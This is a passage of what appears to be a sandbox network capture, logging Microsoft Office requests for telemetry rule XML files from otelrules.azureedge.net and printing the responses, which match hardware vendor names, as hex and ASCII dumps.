30	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:33 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 7de7ed35-901e-005b-7c14-222005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200934Z-16849878b787psctgubawhx7k800000007yg00000000qh48 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:34 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: a568b4a7-501e-0035-1a18-26c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200934Z-r197bdfb6b4k6h5jmacuw3pcw800000000mg00000000s46s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:34 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: f94f539d-b01e-001e-773a-260214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200934Z-15b8d89586fhl2qtatrz3vfkf000000005k0000000001ucd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:34 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 94fafadb-001e-0049-3f27-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200934Z-r197bdfb6b49q4951yb663v3ds00000000eg000000006e2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:34 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:34 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ec40f21c-901e-0067-494d-22b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200934Z-16849878b78ngdnlw4w0762cms000000089000000000gt3p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:35 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:34 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:35 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: f981d888-e01e-0099-4d18-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200935Z-r197bdfb6b4k6h5jmacuw3pcw800000000qg00000000bq20 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:35 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:35 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:35 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 2fd6bd5d-d01e-007a-394f-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200935Z-16849878b785jsrm4477mv3ezn000000087g000000001c8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:35 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:35 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: b26f0bb8-d01e-00ad-3518-26e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200935Z-16849878b78dsttbr1qw36rxs8000000083g00000000uqcb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:35 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 1cb97257-a01e-0070-50f3-24573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200935Z-15b8d89586fhl2qtatrz3vfkf000000005gg000000003u9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:35 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: bbff353d-b01e-005c-270e-264c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200935Z-16849878b786vsxz21496wc2qn000000089g00000000aty0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:36 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 00f7314e-e01e-0052-48ac-21d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200936Z-16849878b78jfqwd1dsrhqg3aw00000008a0000000009chz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:36 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:36 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a47c2137-201e-0051-01e4-257340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200936Z-15b8d89586ff5l62aha9080wv000000000rg00000000h2qd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:36 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 